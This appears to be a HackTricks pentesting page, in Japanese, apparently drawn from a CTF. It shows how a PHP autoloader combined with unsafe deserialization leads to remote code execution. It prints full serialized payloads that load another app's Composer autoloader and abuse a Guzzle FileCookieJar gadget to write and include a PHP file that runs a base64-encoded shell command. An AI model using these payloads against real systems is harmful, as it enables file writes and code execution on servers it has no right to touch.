hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

8.9 KiB
Raw Blame History

PHP - Deserialization + Autoload Classes

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

まず、オートローディングクラスが何であるかを確認する必要があります。

PHPデシリアライズ + spl_autoload_register + LFI/Gadget

私たちは、phpggc内にガジェットに脆弱なライブラリがないウェブアプリでPHPデシリアライズを見つけた状況にいます。しかし、同じコンテナ内には脆弱なライブラリを持つ別のComposerウェブアプリがありました。したがって、目標は他のウェブアプリのComposerローダーを読み込み、それを悪用してデシリアライズに脆弱なウェブアプリのガジェットを使用してそのライブラリを攻撃することでした。

手順:

  • デシリアライズを見つけ、現在のアプリコードにはガジェットがない
  • 次のような**spl_autoload_register関数を悪用して、.php拡張子のローカルファイルを読み込む**
  • そのために、クラス名が**$nameの中に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名に"/"や"."を使用することはできませんが、コードアンダースコア**("_")をスラッシュ("/")に置き換えています。したがって、tmp_passwdのようなクラス名は/tmp/passwd.phpに変換され、コードはそれを読み込もうとします。
    ガジェットの例は次のようになります:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} もしファイルアップロードがあり、.php拡張子のファイルをアップロードできる場合、この機能を直接悪用して、すでにRCEを取得することができます。 {% endhint %}

私の場合、そのようなものはありませんでしたが、同じコンテナ内に**phpggcガジェットに脆弱なライブラリ**を持つ別のComposerウェブページがありました。

  • この別のライブラリを読み込むには、まずその別のウェブアプリのComposerローダーを読み込む必要があります(現在のアプリケーションのものでは他のライブラリにアクセスできません)。アプリケーションのパスを知っていれば、次のように非常に簡単に実現できます:O:28:"www_frontend_vendor_autoload":0:{}私の場合、Composerローダーは/www/frontend/vendor/autoload.phpにありました)
  • さて、他のアプリのComposerローダーを読み込むことができるので、使用するためのphpgcc ペイロードを生成する時が来ました。私の場合、Guzzle/FW1を使用し、これによりファイルシステム内の任意のファイルを書き込むことができました。
  • 注:生成されたガジェットは機能しませんでした。機能させるために、chain.phpのペイロードを修正し、クラスのすべての属性privateからpublicに設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。
  • これで、他のアプリのComposerローダーを読み込む方法があり、機能するphpggcペイロードもありますが、ガジェットが使用されるときにローダーが読み込まれるように、同じリクエスト内でこれを行う必要があります。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
  • 最初にローダーが読み込まれ、その後ペイロードが表示されるのがわかります。

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • さて、ファイルを作成して書き込むことができますが、ユーザーはウェブサーバー内の任意のフォルダーに書き込むことができません。したがって、ペイロードに示されているように、PHPは**systemを呼び出し、いくつかのbase64/tmp/a.phpに作成されます。次に、最初のタイプのペイロードを再利用して、他のウェブアプリのコンポーザーローダーを読み込むために、生成された/tmp/a.php**ファイルを読み込むことができます。それをデシリアライズガジェットに追加するだけです:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

ペイロードの概要

  • 同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む
  • phpggcガジェットを読み込む ことで、他のウェブアプリのライブラリを悪用する(最初のウェブアプリはデシリアライズに対して脆弱で、ライブラリにガジェットがなかった)
  • ガジェットは、悪意のあるコマンドを含むPHPペイロードを/tmp/a.phpに作成するウェブアプリのユーザーは、どのウェブアプリのフォルダーにも書き込むことができない
  • ペイロードの最終部分は、生成されたPHPファイルを読み込むことでコマンドを実行する

私はこのデシリアライズを2回呼び出す必要があった。私のテストでは、最初の時に/tmp/a.phpファイルが作成されたが読み込まれず、2回目に正しく読み込まれた。

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}